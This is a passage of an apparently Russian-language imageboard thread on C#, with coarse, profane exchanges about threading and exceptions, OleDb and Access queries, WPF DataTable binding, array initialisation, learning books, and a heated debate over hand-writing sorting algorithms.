Документация конкретных методов не нужна. Юнит тесты твоя документация методов. Документация нужна чтоб описать котракты для твоего API и взаимодействие модулей системыю
Если сам вызов метода обернуть в try catch, то при исключении он и туда зайдет, и потом все равно подымется выше и все заруинит(то есть зайдет в 3 блока catch: сначала в самом методе, потом catch-блок в который был завернут вызов метода, потом catch-блок в который завернут основной поток) Это норма что ли? Нахуя тогда нужен оператор "throw;" в блоке catch, если один хуй исключение и так выше передается?
Ачивка в резюме.
https://docs.microsoft.com/en-us/dotnet/api/system.threading.threadabortexception?view=netcore-3.1
tl;dr: это специальное исключение, вызови Thread.ResetAbort();
что ты вообще делаешь?
Боже, огромное спасибо, нагеморроился тут с этим. И ведь читал, что у него есть Reset, но совершенно забыл.
>что ты вообще делаешь?
Я только учусь. Изначально было множество раздельных потоков, каждый из которых трудился над своей задачей, так было проще реализовать для начала(иди от простого к сложному). Внутри множество методов(долгие недели работы и отладки), в каждом из которых что-то может пойти не так, и, если возникала ошибка, при которой не было смысла дальше продолжать - я просто выбирал прервать неудачный поток.
Сейчас, для взаимодействия между задачами, все перевожу на один общий интерфейс и поток, и бывшие потоки теперь стали просто методом, который по очереди в цикле прогоняется для всех задач(данных). Но ошибки так же вылетают с предложением прервать поток, что, естественно, при общем потоке мне не нужно, а нужно лишь отменить выполнение конкретной задачи. Потому просто отлавливаю ThreadAbortException и возвращаю в основной поток false, чтобы там удалить и не выполнять задачу. Просто же повесить на кнопку прерывания "return false;" - я не могу, тк форма ошибки вызываются в основном в десятках внутренних методах и их подметодах.
Ужас. Пойди посмотри на async/await и System.Threading.Task, а то ты себе в ногу из пулемета стреляешь
>async/await
Недавно посмотрел(тоже по совету тут) - использую в некоторых операциях. Но не могу прогонять основной метод асинхронно, тк это Selenium веб драйвер: в нем нужно строго контролировать и переключать вкладки, с которых собираются данные и производятся манипуляции(когда было много потоков - то для каждого был свой браузер, но это то и было неудобно), так что одновременно в одном браузере асинхронно прогонять все задачи невозможно - только по одной, строго выбирая нужную вкладку. Можно, конечно, прогонять асинхронно по одному и дожидаться выполнения, но разве в этом есть смысл, если исключения отлавливаются, а основному потоку все равно нужно дождаться завершения прогона?
Что улучшать, чтобы в ногу себе не стрелять?
Мне, честно говоря, лень вникать в твою архитектуру, но список задач которые нужно уметь отменять, ждать их выполнения и т.д. выглядят отличным кандидатом для Task.Run() в который посылается CancellationToken. Посолить Task.WhenAll по вкусу, поперчить ContinueWith - и выйдет нормальное приложение.
А то, что ты описал, звучит как велосипед, кривой и страшный.
делаю как тут написано
https://docs.microsoft.com/ru-ru/visualstudio/data-tools/connect-to-data-in-an-access-database-windows-forms?view=vs-2019
то есть открываю слева источники данных - > добавить. Добавляю, прохожу все шаги, нажимаю готово, вылетает эта ошибка
Пробовал на пустом проекте
Пробовал из своей винды, и из виртуалки (виртуалбокс) с чистой системой
Пробовал и текущую 2019, и превью 2019
View -> Output
там будет текст ошибки.
Как в русской версии называется - без понятия до сих пор не знаю зачем нужны локализированные IDE
Спасибо, я изучу это и попробую реализовать.
Почему блядь оно туда какой-то excel interop пишет?
как вручную тогда подключить этот OleDB? какая там либа, а то дохрена в ссылках
Ну то есть таблица в ms access открыта. если что, запрос просто на Select
явно так мне не нужно, должно все работать даже если таблица где-то еще открыта
Выполняй запросы, создавая инстанс подключения ненадолго и сразу закрывая его.
По коду из этого поста: >>736556
using (var connect = new OleDbConnection(connection))
{
...
}
И перезапусти бд/пеку, чтобы те старые повисшие подключения сбросились.
Простое правило: все IDisposable должны быть задиспоужены.
В данном случае при вызове connect.Dispose() закрывается подключение к БД.
https://docs.microsoft.com/ru-ru/dotnet/csharp/language-reference/keywords/using-statement
тлдр: using это как try-finally, где в try выполняется код из фигурных скобок, а в finally просто лежит вызов Dispose().
я пока не пробовал, взял на заметку, позже попробую.
Проблема вот в чем - данные грузятся из таблицы базы данных Access.
В этой таблице dbo_tab допустим есть два поля:
Status - int
Name - char
Теперь я хочу сделать следующее - поле Status в базе данных может принимать значение 0,1,2,3... Я же хочу чтобы вместо этих цифр писало слова открыто/закрыто/etc.
Ладно, пока что думаю тут просто сделать запросом (но возможно всеже есть более простой способ не трогая запросы?)
Но есть еще один вопрос, в DataGrid есть еще поле Id и Prop, которых нет в базе. Эти данные ну пусть берутся из какого-нибудь локального конфига и не хранятся в базе..
можно ли как-то их добавить в DataGrid?
Привет /pr/. Не думал, что зайду сюда с такой проблемой.
Крч начал изучать C# по Шилдту и заранее решил взять еще и Троелсена, но обосрался и взял не "Язык программирования C# 5.0 и платформа .NET 4.5", а "Язык программирования C# 7 и платформы .NET и .NET Core" Троелсена и Джепкинса, которая в свою очередь "для профессионалов".
На сколько сильно после Шилдта у меня будет рваться жопа во время прочтения данного 1300 листового кирпича?
Так же на полке имеется CLR via C# Рихтера. Может стоит начать с нее?
CLR via C# годно.
Книжка с первого пика проще и понятнее чем CLR via C# Рихтера. Так что если сразу не тянешь Рихтера, начни с нее.
Окей, спасибо большое
Нашел пока вот это
https://github.com/microsoft/RoslynClrHeapAllocationAnalyzer
подсвечивает аллокации в коде как варнинги или как suggestions.
Правда, есть вопросы к нему, например вот тут на картинке ничего не подчеркнул, хотя по идее должна быть аллокация на енумератор.
И ещё для решарпера есть что-то такое же, но у меня решарпера нет
https://plugins.jetbrains.com/plugin/12390-heap-allocations-viewer
System.Data.OleDB.OleDbConnection conn = new System.Data.OleDB.OleDbConnection(ConnString);
Не помню точное расположение этой залупы, но примерно так.
Просто выгружаешь данные, потом из них создаешь коллекцию в нужном тебе виде и уже ее биндишь. В чем проблема-то?
опыта еще мало
Вот у меня DataTable. я его заполняю руками
table.Columns.Add("№", typeof(string));
table.Columns.Add("Статус", typeof(string));
table.Columns.Add("вкл/выкл", typeof(string));
table.Columns.Add("замен.", typeof(string));
schTable.NewRow();
schTable.Rows.Add(read["NUM"],read["STATUS"], read["VK"], read["ZAM"]);
и тут проблема, первые два столбуа заполняются, а вот два последних нет. в логе пишет:
System.Windows.Data Error: 40 : BindingExpression path error: вкл выкл' property not found on 'object' ''DataRowView' (HashCode=64502903)'. BindingExpression:Path=вкл/выкл; DataItem='DataRowView' (HashCode=64502903); target element is 'TextBlock' (Name=''); target property is 'Text' (type 'String')
System.Windows.Data Error: 40 : BindingExpression path error: замен' property not found on 'object' ''DataRowView' (HashCode=64502903)'. BindingExpression:Path=замен.; DataItem='DataRowView' (HashCode=64502903); target element is 'TextBlock' (Name=''); target property is 'Text' (type 'String')
То есть тут проблемно что используется / и точка.
Как быть? если про / я думал что его надо экранировать (не помогло), то ведь еще и из-за точки не работает
Скажите, а вот это
https://docs.microsoft.com/ru-ru/dotnet/csharp/
стоящее, если по нему изучать язык?
пикчи забыл
А как сделать то, чтобы работало?
> Не знаю как там в решарпере, но вроде и в студии не сложно, еще и нугет подтянет.
Например, есть класс LoudFartService
В студии надо написать его полностью, и нажать Alt+Enter. С решарпером я пишу "lfs" по первым буквам, но можно и длинее и нажимаю Tab
Пишут документацию, покрывают код комментариями и тестами, приводят отдельные куски говнокода от гуру к корпоративным стандартам по кодстайлу, предварительно покрыв всё тестами, чистят гит и полируют джиру. Через годик подпускают уже к написанию самого кода в проектах.
Так он у тебя в том же пространстве имен. А фишка в автоимпорте других пространств. Попробуй свой класс засунуть в папку или унести в другой проект, и все, пиши полностью без подсказок
На самом деле можно жить и без этой фичи. Я вообще в vscode старался около месяца писать. Непродуктивно – сидишь, пердишь, вспоминаешь. А с решарпером потыкал, потыкал и табнул
А в vscode только микропроекты пишу, и то ради интереса
>Анон, как прикрутить пароль к моей БД?
меня больше интересует как хранить этот пароль чтобы его не было в коде
храни connectionString в конфиге. Конфиг преобразуй во время деплоя.
Храни в отдельном, зашифрованном файле, расшифровать который можно только при наличии файла-ключа, который в свою очередь хранится на флешке.
Аноны, помогите же мне. Есть дллки, есть 4 xml файла, надо каким то образом все это сунуть в один экзешник.
Right click on Solution of your project > Add > New Project > Write on SearchBar "Setup" > Setup Project > Next > Create;
не благодари
Ты предлагаешь создать установщик? Мне надо, чтобы был только экзешник, без всего
Падажжи ебана.. Завтра попробую и отпишусь
В издании версии 5.0 все описывается более просто и подробно, чтобы можно было выбрать эту книгу одной из первых для изучения языка.
ставлю жопу этого дауна на то, что он какой то мальвар хочет упаковать и даже не знает как
а как надо? написал вот такую функцию
void TableAdd(string name, string caption)
{
var n_sch = schTable.Columns.Add(name, typeof(string));
n_sch.Caption = caption;
}
нет, нифига, теперь все столбцы называются по name, а не caption
Возникнет задача написать алгоритм сортировки на подобии сортировки пузырьком, но с изменениями для конкретного проекта, тогда ты жидко насрёшь себе в штанишки, ведь ты даже стандартного алгоритма не знаешь, а тебе нужен модифицированный. Или, что более вероятно, у тебя даже идеи не возникнет о том, что нужный тебе алгоритм похож на сортировку пузырьком, поэтому ты начнёшь пилить свой велосипед, от которого твой тимлид упадёт в обморок.
Именно поэтому нужно знать как реализован тот инструмент, которым ты пользуешься. Да, для твоих пет-проектов тебе может быть похуй, в крайнем случае спросишь на SO и будешь ждать ответа неделю. Но ты ведь на работу устраиваться пришел, вроде как хочешь чтобы тебе деньги еще за это платили, при том деньги не малые. Времени у тебя перед выпуском в прод будет очень мало, ждать пока ты нагуглишь и поймешь никто не будет, легче нанять студента третьекурсника, который не только эту сортировку знает, но и другие.
Вот теперь можешь ответить на свой вопрос:
>Это я долбоеб или они?
>Возникнет задача написать алгоритм сортировки на подобии сортировки пузырьком, но с изменениями для конкретного проекта
Вот, блядь, как возникнет, открою и почитаю. Нах мне все это говно в голове держать? Ты же, блядь, весь мсдн в голове не держишь, понадобилось - открыл и поглядел.
У меня сначала зависимости не качались, хотя интернет был в порядке, и я проверял руками, они скачивались. Потом пишет, что localdb не поддерживается на этой платформе. В докере вообще не запускается, полчаса шел процесс настройки и тоже ошибка на ошибке. Запускал на Линуксе.
Если ты не можешь ничего написать сам, не используя стандартные методы, то очевидно кто.
Пиздец вкатуны охуели. Я просто хуею. А потом они такие: "Бля, почему я год работу найти не могу. Это все сытая ашарочка виновата. Утутуту, пожалейте."
Это, блядь, база, которую знать надо.
Охуеть просто. А потом смотришь его код, а там одна копипаста со стековерфлоу. Охуеть, блядь.
Попробуй щас
>Если ты не можешь ничего написать сам, не используя стандартные методы
Ну, нахуя мне этот пузырь писать, если есть .sort?
Потому что это требуют. Требуют для того, чтобы увидеть твое алгоритмическое мышление. Увидели. Его нет.
На Линуксе запускал?
>Это, блядь, база, которую знать надо.
Нахуя? .sort чем не угодил? Может мне еще вместо .split для строк писать разбиение на подстроки? Чо за ебанизм?
>Требуют для того, чтобы увидеть твое алгоритмическое мышление
Открыл и почитал, чо теперь, я пиздец алгоритмическим мышлением обладать начал? Ты ж тоже до пузыря не сам додумался, а прочитал где-то про него
>Может мне еще вместо .split для строк писать разбиение на подстроки?
Да, представь себе, это входит в обучение. Если ты сам этого ничего не писал, значит ты обычный копипастер, и не способен писать алгоритмы.
>Открыл и почитал
Не читать надо, а писать сортировку руками без встроенных методов. Читал он блять. Плавать тоже учился через чтение?
Давай текст алгоритма и я тебе его напишу. А то что я там где-то чет-та глянул, и чем это отличается от того, что со со спиздил?
>Не читать надо, а писать сортировку руками без встроенных методов.
Пиши текст алгоритма, я тебе его реализацию напишу.
>Представляю что будет когда тебе придется алгоритмы на графах релизовывать самому.
И в чем проблема? Писал графы, это ж не значит, что я должен эти алгоритмы на зубок знать. Как раз маня, которая посмотрела до этого и запомнила нахуй не нужна, а вот чел, который почитал и написал - нужен. Кто разобраться сам может, а не увидел и запомнил. Потом чо, столкнется с тем, чего не видел и все, пук среньк будет. А чел, который разобраться может сядет и решит задачу. Никто ж не говорит, что надо со стака бежать списывать
Блядь, не неси хуйни. То что ты скопипастил решение, это не значит что ты разобрался, блядь. Когда ты, блядь, разобрался, ты не будешь гуглить или что-то нести. Ты же, блядь, не гуглишь каждый раз как ветвление делать или цикл. При этом ты знаешь как и где их использовать. Что, блядь, ты зазубирл это и когда тебе вместо одного условия, надо будет 2 ты обосрешься? Нет. А вот если ты еблан, который гуглит, как сделать обход по массиву, то ты нихуя не разобрался. Блядь. Пиздец, это сука объяснять надо.
Вот тебе, сука аналогия, ты ж тупой и не поймешь. Допустим ты и другой чел решаете научиться рисовать. Ты обвел картинку и получил норм. Тот чел пошел дрочить кубы, анатомию, и прочее и тоже нарисовал картинку. Так вот, кто из вас научился рисовать? Кто из вас, блядь, сможет нарисовать то, чего еще не рисовали? Так, блядь, понятно?
>То что ты скопипастил решение, это не значит что ты разобрался, блядь.
Но я не копипастил ничего, открыл этот пузырь и почитал, в пару строк цикла такое пишется, чего там писать, если знать условия?
>Ты же, блядь, не гуглишь каждый раз как ветвление делать или цикл.
Потому что это постоянно надо, а пузырек ты в каждой своей проге используешь?
>ты еблан, который гуглит, как сделать обход по массиву
А там только обход по массиву надо сделать или надо еще алгоритм применить при этом?
>Вот тебе, сука аналогия
Которая не является доказательством ничего, умник
>Допустим ты и другой чел решаете научиться рисовать. Ты обвел картинку и получил норм.
Вот ты и обосрался, я прочитал что именно надо нарисовать и нарисовал
>Кто из вас, блядь, сможет нарисовать то, чего еще не рисовали?
Никто, то что ты человека нарисовал не значит, что вазу с фруктами нарисуешь.
Ебать ты быдлан агрессивный. Ничего даже удивительного, что у тебя такая идиотская позиция, оправдывающая необходимость изобретения велосипедов на собеседованиях.
Я же тебе написал, дебил:
>ждать пока ты нагуглишь и поймешь никто не будет
И важнее не это, а вот это:
>у тебя даже идеи не возникнет о том, что нужный тебе алгоритм похож на сортировку пузырьком, поэтому ты начнёшь пилить свой велосипед, от которого твой тимлид упадёт в обморок.
Есть множество задач, алгоритмы решений которых похожи на алгоритмы сортировки, если ты долбоеб, который не может написать сортировку пузырьком/вставками/быструю сортировку, то и в голове у тебя никаких аналогий не возникнет, написав свой велосипед, ты даже не поймешь, что он похож на алгоритм сортировки пузырьком, ты с рожей дебила будешь смотреть в зеркало и думать "пиздец я умный, никто бы не догадался решить задачу таким путём!", при этом не осознавая, что если бы ты знал алгоритм сортировки, то выполнил бы задачу на много раз быстрее и эффективнее.
Анализ сложности алгоритмов ты конечно же тоже не знаешь.
Не отвечай ему просто и все.
>вместо .split для строк писать разбиение на подстроки?
Представь себе, и такое бывает.
Понимаешь, дебил, методы стандартной библиотеки и вообще любой библиотеки, которая ориентирована на широкую публику, создаются при условии, что ими будут пользоваться создатели вообще любых программ, т. е. это всё отражается на коде метода. Он универсален, но в какой-либо конкретной ситуации можно придумать алгоритм, который отработает быстрее, но не будет настолько универсален.
Допустим, тебе нужно разбить строку и ты знаешь, что результатом всегда будет массив как минимум из 6 элементов, при этом работать ты всегда будешь с массивом который состоит из 2 по 6 элемент.
Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку, также тебе самостоятельно придётся отбрасывать 1 элемент. При этом если использовать свой split, то эту остановку и пропуск первого элемента можно реализовать, значительно повысив производительность.
>алгоритмы решений которых похожи на алгоритмы сортировки, если ты долбоеб, который не может написать сортировку пузырьком/вставками/быструю сортировку, то и в голове у тебя никаких аналогий не возникнет
Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм. Ты реально не догоняешь этого что ли? Ты когда пишешь свою прогу в мсдн тоже не заглядываешь, потому что, а нахуя? Я ж там алгоритм пузыря знаю, ща накатаю, пока я просто .sort использую и все.
>что если бы ты знал алгоритм сортировки, то выполнил бы задачу на много раз быстрее и эффективнее.
.sort выполняет задачу быстрее и эффективнее, чем написание своего пузыря
>Если работать с этой строкой используя стандартный split, то он не будет останавливаться на 6 элементе, он будет сплитить тебе всю строку, также тебе самостоятельно придётся отбрасывать 1 элемент.
В данном случае доработаю и сделаю свой сплит. Ща объясни мне, в чем твой велосипед с пузырем лучше, чем .sort()?
>Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм.
Не выберешь. Сейчас тебе если задать любую нестандартную сортировку, даже с небольшими отклонениями, и ты не найдешь ее, и сам не сразу напишешь. Потому что опыта написания самостоятельно нет.
>Если мне понадобится эта задача, я напишу в гугл "сортирвки" и выберу нужный мне алгоритм.
Так зачем вообще тогда что-либо знать? Приходишь с гуглом и решаешь любую задачу.
>когда пишешь свою прогу в мсдн тоже не заглядываешь, потому что, а нахуя?
Я заглядываю туда на пару секунд, ты же сначала там сидишь час, потом еще уточняешь что-то, чего ты не понял, в гугле второй час и только потом пишешь какой-то код, который не работает, потому что ты не всё прочитанное запомнил.
Понимаешь в чём разница, дурачок? Если ты встречал и работал с задачей ранее, то освежить знания будет быстрее, чем получить их.
>.sort выполняет задачу быстрее и эффективнее, чем написание своего пузыря
Ну это просто без комментариев. Прочитай про алгоритмы сортировок, про их отличия. Помимо пузыря существует еще не мало алгоритмов, про пузырь у тебя спросили в качестве примера, а не панацеи для всех задач сортировки.
>>740200
>В данном случае доработаю и сделаю свой сплит.
Конечно сделаешь, особенно когда ты ни разу не видел устройства этого сплита из стандартной библиотеки. Будешь сидеть пару часов и пытаться разобраться как это у них делается, когда тот кто знает, меньше чем за час уже напишет свою реализацию.
>в чем твой велосипед с пузырем лучше, чем .sort()?
Тем, что скорость сортировки зависит от сортируемых данных, в зависимости от контекста, может быть выгоднее использовать пузырьковую сортировку, а может и быструю сортировку. И это только скорость, есть еще и такой фактор как память. Всего этого стандартный Sort не учитывает, он использует тот алгоритм, который наиболее эффективен в большинстве случаев, т. е. самый универсальный.
Вот видишь, ты даже таких базовых вещей не знаешь, а всё еще спрашиваешь "зачем". Затем и спрашивают, чтобы понять, изучал ли человек сортировки или использовал стандартную библиотеку и копипастил чужой код.
>Так зачем вообще тогда что-либо знать? Приходишь с гуглом и решаешь любую задачу.
Ну так давно уже можно было заменить программистов макаками работающими с электронным помошником, вот только никто его сделать не хочет нормально почему-то...
Так уже, электронный помощник это IDE, макака это человек который мнит себя программистом, но на деле срёт себе в штаны, когда его просят написать сортировку пузырьком.
Так что мешает и это в помошник запихать?
По мне так уже давно программистов можно простенькими алгоритмами заменить практически полностью.
Их сейчас ОЧЕНЬ МНОГО, относительно того сколько могло бы быть.
Ошибка при задействовании методов в строках с 51 по 62. Пишет мол, ссылка на объект не указывает на экземпляр объекта. Но я же создал массив объектов, должно работать. На плюсах же работает.
https://repl.it/repls/SnivelingStrongVisitors#main.cs
Ты специально старался максимально уебищно форматировать код, что б никто читать не стал? Скорее всего, ты создал массив, но объекты в нем не инициализировал, т.о. у тебя массив из наллов.
А что конкретно не так с моим кодом? И в плюсах так то при объявлении массива типа класса, все ячейки этого массива заполняются одинаковыми объектами этого класса. А в C# иначе?
Лучше бы ты кириллицу использовал для названия классов и методов. Благо шарп позволяет.
В C++ тредах я уже показывал такой код. Почти каждый ответ выражал недовольство использованию мною кириллицы в коде.
Плюсы вызывают конструктор по умолчанию во время инициализации массива. Шарп при инициализации массива типа T вызывает default (T), что для классов является null, а для структуры - значение, возвращаемое конструктором по умолчанию
Лучше уж кириллица чем транслит
Enumerable.Range(0, 10).Select(i => new Yoba()).ToArray()
Прокидываешь CancellationToken, который передается в бекграунд воркер, дальше в свой код. При остановке приложения все инициализированные таски грейсфулли завершаются.
>при работе сервера нажимаю ctrl+c
>таски грейсфулли завершаются
Doubt.jpg
>>740474
Напиши метод для инициализации
>>740460
>В C++ тредах я уже показывал такой код
Тут тебе не там. С# полностью юникод совместимый. В самом коде да, не стоит использовать ни киррилицу, не транслит ибо мешанину языков воспринимать тяжело, особенно если там еще и транслит-ребусы. Но при взаимодействии с пользователем можешь использовать любой язык. Ах да, у тебя и переменные транслитом, ну за такое обоссут в любом культурном обществе.
>>740458
> не так с моим кодом?
Про транслит написал, плюс не ленись писать нормальные имена переменным - не в одну букву. Чому у тебя в класее триады пустые виртуальные методы? Если ответственность за их реализацию лежит на наследнике, то стоит подумать об абстрактном классе и методах. Перепиши методы Show (кста, тут тебе не ява пиши методы с большой буквы), максимум и прочие - не надо завязавть свои классы на конкретном окружении. Пусть они не в консоль пишут а возвращают значение, а уже вызывающий решает как и куда выводить. Пиши фигурные скобки с новой строки, чай не на бумаге пишишь - экономить не надо. Если метод простой используй запись Method() => action;
Дядь, тебе Линка не хватает? Нафиг этот экстеншн метод нужен?
Я бы тебя на работу с таким кодом не взял. Нахуя ты линк изобретаешь?
Делай паблик. Зависит от того чей это будет метод и кто должен иметь доступ.
Это нормально, что ты сейчас нихуя не знаешь. Просто решай какие-то простейшие задачи, привыкнешь к синтаксису, поймешь как работает та или иная конструкция
Иди на кодварс и решай задачи, гугля уже после того как задачу сдал и она прошла проверики. По моим ощущениям это самый заебатый способ осваивать кодинг. Срсли.
Ну хуй знает. Я именно в такой форме учил шарп после плюсов. Очень весело же. А потом можно посмотреть как другие решали и подглядеть всякие прикольные штуки.
Разбираешься с синтаксисом, затем ищешь легкие задачки и решаешь переходя к сложным
Синтаксис не проблема, я больше про технологии. Core + Linq сейчас стоит знать или что?
Core + Linq обязательны к изучению, как минимум linq ты обязан знать
Спасибо
Ты охуеть как прав. Это именно что прикольно. Любой велосипед, типа своей змейки и тетриса, поднимет твой скил в разы, чем дроч задач.
скилл в чем?
> И коню понятно, что такие задачи хуй когда на практике встретятся
Встретятся
Ну и на кодварсах уже с 4кю вполне себе задачи, которые в повседневной работе встречаются.
8 это самый низкий, няша. Тут в обратном порядке, как в каретэ всяких же. Ну и да, всего 8.
Ну вот, например, штук, которые близки к тому с чем я в реальной работе сталкивался.
https://www.codewars.com/kata/59c5d0b0a25c8c99ca000237
https://www.codewars.com/kata/52bb6539a4cf1b12d90005b7
https://www.codewars.com/kata/5296bc77afba8baa690002d7
геймдев что ли? В интерпрайзе такой хуйни никогда не видел, максимум валидация. При парсинге еще может быть провалидировать ряд, это максимум
боже упаси. Помимо .NET сейчас куча работы на нормальных стэках. Не буду писать на каких, а то прибегут кукарекать, что и то им не так и то не так
Двачую брат, не пали быдлу Котлин.
Но шарп хорош. Однако кроме веба делать в нем что-то неудобно. WPF унылый, бойлерплейт бойлерплейтом погоняет. Ксамарин тормозной. Сделали бы блазор нормальный
Фронт? Хуй. На MVC не построишь SPA, а Blazor говно, потому что либо пчел качает wasm на несколько мегабайт, либо с каждым клиентом будь добр держать gRPC соединение.
Вот бы сделали Blazor под все платформы, причем нормально сделали.
По итогу сейчас приходится учить js и фронтенд фреймворк в нагрузку. Сперва Vue изучил, но потом подумал и перекатился на React. Vue Native – говно говна, у них стандартный проект не работает
Хотя, почитаешь на хабре, людям нода вкатывает после шарпа, говорят, писать гораздо быстрее. Хуй его знает, я с js ощущаю себя как в гей-клубе. Как бы красиво, но чуть зазевался и хуй в жопе
все так и есть, зато есть у # webApi. Проблема вся в том, я уже писал как то в треде, что мелкософты - жадные. Нет, чтобы делать интеграции с последними технологиями, они пытаються высрать что то непотребное. Блейзор тому пример. Кому нахуй этот wasm нужен. Весь фронт на JS и пока нет лучшей альтернативы ему. В итоге из всего стэка остается только использовать .NET Core, как чистый бэк.
Нода хороша только тем, у кого стэк близок к JS. Любой другой туда полезет и охуеет. Вообще языки с динамической типизацией - это ебаное зло.
За что респект мелкософтам, так это за TS. Он уже нехуево взлетает и я надеюсь, что .NET вылезет из говна и будет стэк бэка на #+TS front. Все остальное - легаси или тухляк.
Сейчас любой архитектор не будет брать # на свежий проект из за еботни с интеграциями, миграциями и прочим гемором.
Насчет JS - сейчас это дефолт, потому что любой интерпрайз язык это 99% веба, а веб = JS (и верстка)
Решетки хороший язык, спору нет и я думаю его будут сапортить и дальше, но стратегия от мелкософта была заведомо провальная. Та же кроссплатформенность и оперсоурс. Да что вам блять мешало интеграцию сделать после выхода первых версий в релиз, как это сделала Java? Или показать свои сорсы. А я скажу - жадность. Вот за нее и поплатились полувялым в жопе от обогнавших на гнедой кобыле конкурентов.
Я много общаюсь с людьми из разных технологий и все, кто +- сталкивался с .NET говорят, что работать можно. Остальные - просто плюются на него.
Про веб я и говорил про WebApi. На бекенде шарп хорош
У меня все обостряется тем, что я планирую перекат в другую страну, а там на шарпе работы с гулькин хуй. Учить жабу желания нет, так что взялся за реакт. Но когда представляешь, как бы все могло быть, грустно становится
я уже давно не работаю с решетками, но была возможность релокейтнутся в другую страну по прямому офферу. Если работаешь в бадишопе, где +- проект держится больше 2-3 месяцев - есть возможность получить прямой оффер, единственное условие - это очень тонкий подход. Если спизданешь что то типо "Давайте я у вас в офисе буду работать" с большой вероятностью вылетишь пинком под зад с места работы.
У моего знакомого поголовно с php стэка выкатываются в Германию один за одним, им кастомеры сами предлогают. Один уже выкатился, другой в раздумиях. Бадишоп об этом знает, но ничего поделать не может, т.к. жадность давит горло - получать с гребца по $45/h, а платить по 20-25.
Так и живем.
Стоит ли в арифметических операциях с числами использовать checked? Просто допустим я знаю какие числа мне приходят и я точно знаю что никогда не будет переполнения. Но блин, все равно меня терзает хрень про то, что а вдруг где-то что-то пойдет не так и таки возникнет ситуация, когда прилетит что-то что выйдет за границы.
>Start a mssql-server instance running as the SQL Express edition
>docker run -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=yourStrong(!)Password' -e 'MSSQL_PID=Express' -p 1433:1433 -d mcr.microsoft.com/mssql/server:2017-latest-ubuntu
> я точно знаю что никогда не будет переполнения
>возникнет ситуация, когда прилетит что-то что выйдет за границы
ты уж определись...
А вообще логика простая - если переполнение недопустимо, делай чекд, если допустимо - не делай.
>>741977
>SQL Server 2019 Express
>Supported Operating Systems
>Windows 10 TH1 1507 or greater, Windows Server 2016 or greater, Red Hat Enterprise Linux 7.3 or greater, SUSE Enterprise Linux Server v12 SP2, Ubuntu 16.04LTS, Docker Engine 1.8+ (on Windows, Mac, or Linux)
https://repl.it/repls/ImaginativeRapidLanservers
Ты можешь подробнее расписать, что за массив и какие действия происходят (со ссылками на строки кода)? Код - говно, ничего не понятно же.
С 68 по 79 строки.
Начал с Троелсена. Сам не программер, но на уровне составления простых алгоритмов могу.
Так вот, ебать как там в первой главе нагружают терминами и концепциями. Я понимаю, что потом всё разжуют, но такой подход может оттолкнуть.
В пикриле - первое предложение вмещает столько понятий...
Потому что класс это референс тип данных. Если говорить на языке говна и мочи С++: массив Date[] - это массив указателей на Date.
640x360, 0:03
Вся суть русика - читать Троелсена на английском легче, чем на русском.
Народ, кто-то пробовал поставить кор 3 параллельно с 2.2 ?
Я не уверен будет ли компилиться 2.2 проект, оф. дока говрит, что при установке кор 3 не будет возможности выбрать версию ниже.
Потому, что нехуй слушать тех, кто советует со старта брать в руки книги, особо извращенные рекомендуют сразу брать Рихтера. Результат - полное непонимание того, чтотам пишется из-за незнания самых основ. А те основы, что там описываются, написаны достаточно сложным языком, предполагающим, что у человека уже есть некие поверхностные знания в области программирования и смежных вещей.
Браться за хорошие книги надо тогда, когда термины >> методы, классы, статический метод, область видимости
не вызывают никаких вопросов вообще.
Хорошо, а с чего тогда начинать? Не с Дударя же. Что хорошее, но лайтовее Троелсена? Или по крупицам в гугле инфу собирать?
Я начинал с Шилдта, был нулевым и вроде каких-то серьезных затыков не было. Опять же гугл всегда под рукой и и если надо больше подробностей ищи статейки по конкретному вопросу.
Ладно, возьмём и дядюшку Шилдта откроем, спешить некуда, а из 2-х книг может даже и больше почерпну.
Для начала надо определить текущий уровень знаний.
Потом берем источник сжатой информации аля метанит и го по порядку.
foreach(theme in themes)
{
ProcessingInformation( theme )
}
void ProcessingInformation(theme)
{
while(!MyBrain.Knowledges.HasValue(someInfo))
{
MyBrain.Knowledges.TryToAdd(theme);
}
}
Только потом берем хорошую книгу и читаем.
По сути .NET это и есть .NET Core. Сливают .NET Framework и .NET Core в новый .NET 5. Он уже доступен в превью версии.
using System;
class MainClass {
public class DnaStrand {
public static string MakeComplement(string dna) {
return Console.WriteLine(dna);
}
}
public static void Main (string[] args) {
DnaStrand.MakeComplement("Hello World");
}
}
Выдает такое
main.cs(8,22): error CS0029: Cannot implicitly convert type `void' to `string'
Почему так происходит? Метод принимает и возвращает string. Где и откуда там void?
Ты пытаешься вернуть результат Console.WriteLine из MakeCompliment
Console.WriteLine возвращает void, а метод MakeCompliment - string.
БЛЯЯЯЯ долбоеб, у тебя в сигнатуре string должно возвращать. В глаза долбишься, что ли?
Используй стандартные настройки VS.
Кто тебе мешает загуглить значения этих слов? Это базовые понятия и они одинаковы для любого языка.
У тебя какая-то каша в голове. В том что ты описал можно увидеть рефлексию, которую используют для создания фреймворка, который пишет некоторый код за тебя, в зависимости от атрибутов. Непонятно при этом, что ты подразумеваешь под "обычная реализация". Но это не единственное её предназначение, более общим будет "анализ уже существующего кода и определенные действия в его отношении".
>если делать атрибутами
То при компиляции фреймворк анализирует твой код и дописывает всё нужное для его работы, от тебя требуется только следование документации этого фреймворка. Вся суть в том, что тебе приходится писать в разы меньше кода и большая часть реализации работы лежит за кулисами.
А надо как? У тебя метод который возвращает строку, если читать только сигнатуру, но если читать реализацию, то он ничего не возвращает, о чём тебе компилятор и говорит.
Убираю Console.WriteLine(dna); пишу return dna; и то же самое Class, struct, or interface method must have a return type
у каждого метода в сигнатуре есть входные и выходные параметры. Если ты ничего не возвращаешь - значит возвращаемый параметр - void
>>742830
я проебался не дописав, что имею ввиду ASP.NET. Я хочу разобраться с работой контроллера - ведь каждый входящий реквест по тому или инному REST методу - работает через рефлексию? Поэтому я и спрашиваю насчет атрибутов, ведь рефлексия через них и тянет метаданные сборки. Или я не прав?
Хуево, когда вроде понимаешь, как этот механизм работает, но на практике никогда не понимал и из за излишней абстрации в мыслях пытаюсь найти эту реалиазацию
Бамп. Так почему же при изменении объекта в одной ячейки равным образом изменяются объекты во всех остальных ячейках? В сисярпе что, при присвоении объекта ячейке массива массив принимает не объект, а только его адрес? И как тогда создавать массив РАЗНЫХ объектов одного класса?
Ты инициализировал все элементы массива одним и тем же объектом, и из-за этого страдаешь
